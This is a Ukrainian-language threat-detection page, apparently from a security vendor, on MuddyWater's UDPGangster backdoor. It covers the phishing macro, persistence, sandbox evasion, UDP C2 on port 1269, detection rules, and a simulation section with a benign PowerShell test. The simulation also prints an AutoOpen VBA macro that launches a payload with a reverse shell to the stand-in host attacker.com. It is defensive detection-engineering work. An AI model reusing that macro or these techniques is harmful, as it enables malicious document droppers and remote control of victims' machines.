Атаки UDPGangster поширюються по кількох країнах
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
UDPGangster – це бекдор на основі UDP, який використовується групою загроз MuddyWater для віддаленого керування хостами Windows. Початкова компрометація відбувається через шкідливий документ Word, що використовує макроси VBA для популяризації і запуску корисного навантаження. Шкідливе програмне забезпечення здійснює масштабні перевірки, спрямовані на уникнення аналізу, і підтримує стійкість, копіюючи себе в директорію AppData користувача та створюючи ключ автозапуску. Останні кампанії спостерігалися з метою користувачів у Туреччині, Ізраїлі та Азербайджані.
Розслідування
FortiGuard Labs дослідили фішингові електронні листи, вбудований макрос VBA, випущений виконуваний файл і його техніки збереження. Вони витягли індикатори, такі як шляхи файлів, записи реєстру автозапуску, назви м’ютексів і пов’язану інфраструктуру C2. Кореляція IP-адрес, доменів і шляхів PDB дозволила аналітикам пов’язати цю активність з попередніми операціями MuddyWater.
Запобігання
Кроки з пом’якшення включають запровадження блокування макросів або надання повноцінного навчання користувачам, щоб запобігти виконанню макросів, а також розгортання засобів захисту на кінцевих точках, які стежать за підозрілими записами файлів у публічних або профільних папках користувачів, а також за модифікаціями ключів автозапуску реєстру. Мережеві команди повинні моніторити підозрілий UDP-трафік на порту 1269 і блокувати відомі шкідливі IP-адреси та домени, щоб порушити канали C2.
Відповідь
Коли виявлена активність UDPGangster, ізолюйте уражену кінцеву точку, зберіть несталеві дані пам’яті та повні образи дисків, і шукайте бекдор та пов’язані артефакти. Заблокуйте ідентифіковану інфраструктуру C2, проведіть всебічний кримінальний аналіз, щоб виявити будь-які додаткові скомпрометовані системи, та оновіть сигнатури безпеки для виявлення як шкідливих макросів-документів, так і бекдорівської загрози.
graph TB %% Визначення класів classDef action fill:#99ccff classDef malware fill:#ff6666 classDef process fill:#66ff66 %% Визначення вузлів action_phishing[“<b>Дія</b> – <b>T1566.001 Фішинг із вкладенням</b>: Лист із шкідливим Word-документом та ZIP-архівом.”] class action_phishing action action_macro[“<b>Дія</b> – <b>T1059.005 Інтерпретатор команд і скриптів (VBA)</b>: Макрос Document_Open декодує Base64-навантаження у файл C:\\Users\\Public\\ui.txt.”] class action_macro action action_vba_stomping[“<b>Дія</b> – <b>T1564.007 Приховування артефактів (VBA Stomping)</b>: Шкідливий бінарний код приховано в макросі та формується під час виконання.”] class action_vba_stomping action action_obfuscation[“<b>Дія</b> – <b>T1027.004 Компіляція після доставки</b>: Навантаження обфусковане за допомогою Base64 та технік компіляції.”] class action_obfuscation action action_persistence_copy[“<b>Дія</b> – <b>T1547.014 Автозапуск під час входу в систему</b>: Копіює бекдор у %AppData%\\RoamingLow\\SystemProc.exe.”] class action_persistence_copy action action_registry_persistence[“<b>Дія</b> – <b>T1547.014 Ключ автозапуску в реєстрі</b>: Створює запис HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell для автозапуску.”] class action_registry_persistence action action_anti_sandbox[“<b>Дія</b> – <b>T1497.002 Уникнення пісочниці/віртуалізації</b>: Перевіряє наявність дебагера, кількість ядер CPU, обсяг RAM, MAC-префікси, членство в домені, WMI-запити, ключі реєстру та відомі DLL пісочниць.”] class action_anti_sandbox action action_c2_udp[“<b>Дія</b> – <b>T1571 Нестандартний порт</b>: Обмін даними з C2 через UDP-порт 1269.”] class action_c2_udp action action_raw_udp[“<b>Дія</b> – <b>T1095 Протокол не прикладного рівня</b>: Використовує «сирі» UDP-пакети для трафіку.”] class action_raw_udp action action_data_encoding[“<b>Дія</b> – <b>T1132.002 Користувацьке кодування</b>: Системна інформація кодується методом циклічного зсуву вправо перед ексфільтрацією.”] class action_data_encoding action malware_backdoor[“<b>Шкідливе ПЗ</b>: Користувацький бекдор”] class malware_backdoor malware process_c2[“<b>Процес</b>: Віддалений C2-сервер”] class process_c2 process %% Зв’язки, що показують ланцюг атаки action_phishing –>|доставляє| action_macro action_macro –>|формує| action_vba_stomping action_vba_stomping –>|обфускує| action_obfuscation action_obfuscation –>|копіює в AppData| action_persistence_copy action_persistence_copy –>|створює ключ автозапуску| action_registry_persistence action_registry_persistence –>|активує| malware_backdoor action_vba_stomping –>|виконує| action_anti_sandbox action_anti_sandbox –>|якщо перевірку пройдено| action_c2_udp action_c2_udp –>|використовує| action_raw_udp action_raw_udp –>|надсилає закодовані дані| action_data_encoding action_data_encoding –>|до| process_c2 process_c2 –>|керує| malware_backdoor
Потік Атаки
Виявлення
Виявлення C2 комунікацій UDPGangster через UDP порт 1269 [Windows Network Connection]
Перегляд
Віддалене виконання команд UDPGangster через CreateProcessA і cmd.exe [Створення процесу Windows]
Перегляд
Виявлення створення м’ютекса UDPGangster [Windows Sysmon]
Перегляд
IOCs (SourceIP) для виявлення: Кампанії UDPGangster націлені на кілька країн
Перегляд
IOCs (DestinationIP) для виявлення: Кампанії UDPGangster націлені на кілька країн
Перегляд
Виконання Симуляції
Передумова: Перевірка на відповідність Телеметрії та Базових вимог повинна бути пройдена.
Чому: Цей розділ детально описує точне виконання техніки супротивників (TTP), створеної для запуску правила виявлення. Команди та опис ПОВИННІ безпосередньо відображати виявлені TTP і прагнути генерувати саме ту телеметрію, яку очікує логіка виявлення.
-
Опис Атаки та Команди:
Атакуючий доставляє шкідливий документ Word, що містить макрос VBA. Макрос звертається до API WindowsCreateProcessAщоб створитиcmd.exeі виконати корисне навантаження UDPGangster (udp_gangster.exe). Корисне навантаження встановлює зворотний шелл на сервер C2 атакуючого. Оскільки макрос явно передає рядок ‘CreateProcessA’ і буквальнеcmd.exeу командному рядку, то правило виявлення відповідатиме.-
Макрос VBA (спрощений) демонструє виклик API:
Private Declare PtrSafe Function CreateProcessA Lib "kernel32" _ (ByVal lpApplicationName As String, ByVal lpCommandLine As String, _ ByVal lpProcessAttributes As LongPtr, ByVal lpThreadAttributes As LongPtr, _ ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, _ ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As String, _ ByRef lpStartupInfo As STARTUPINFO, ByRef lpProcessInformation As PROCESS_INFORMATION) As Long Sub AutoOpen() Dim cmdLine As String cmdLine = "cmd.exe /c ""%TEMP%udp_gangster.exe -c attacker.com:4444""" Dim si As STARTUPINFO Dim pi As PROCESS_INFORMATION Call CreateProcessA(vbNullString, cmdLine, 0, 0, 1, &H00000010, 0, vbNullString, si, pi) End Sub -
Розгортайте макрос, відкрийте документ та дозвольте виконання макроса. Подія створення процесу міститиме:
CommandLine: cmd.exe /c "%TEMP%udp_gangster.exe -c attacker.com:4444"
-
-
Сценарій регресійного тестування: Наведений нижче PowerShell-скрипт відтворює точну телеметрію без необхідності в документі Word. Він звертається до нативного API Win32
CreateProcessAчерезAdd-Type.# Регресійний тест: прямий виклик CreateProcessA з cmd.exe $source = @" using System; using System.Runtime.InteropServices; public class NativeMethods { [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Ansi)] public struct STARTUPINFO { public int cb; public string lpReserved; public string lpDesktop; public string lpTitle; public uint dwX; public uint dwY; public uint dwXSize; public uint dwYSize; public uint dwXCountChars; public uint dwYCountChars; public uint dwFillAttribute; public uint dwFlags; public short wShowWindow; public short cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public uint dwProcessId; public uint dwThreadId; } [DllImport("kernel32.dll", CharSet=CharSet.Ansi, SetLastError=true)] public static extern bool CreateProcessA( string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); } "@ Add-Type $source $si = New-Object NativeMethods+STARTUPINFO $si.cb = [Runtime.InteropServices.Marshal]::SizeOf([NativeMethods+STARTUPINFO]) $pi = New-Object NativeMethods+PROCESS_INFORMATION $cmd = 'cmd.exe /c "echo UDPGangster simulation > $env:TEMPudp_gangster.log"' $result = [NativeMethods]::CreateProcessA($null, $cmd, [IntPtr]::Zero, [IntPtr]::Zero, $true, 0x00000010, [IntPtr]::Zero, $null, [ref]$si, [ref]$pi) if (-not $result) { Write-Error "CreateProcessA failed: $([Runtime.InteropServices.Marshal]::GetLastWin32Error())" } else { Write-Host "CreateProcessA succeeded, command line logged." } -
Команди очищення: Видалити артефакт, створений під час симуляції.
# Видалити тимчасовий журнал, створений симуляцією Remove-Item -Path "$env:TEMPudp_gangster.log" -ErrorAction SilentlyContinue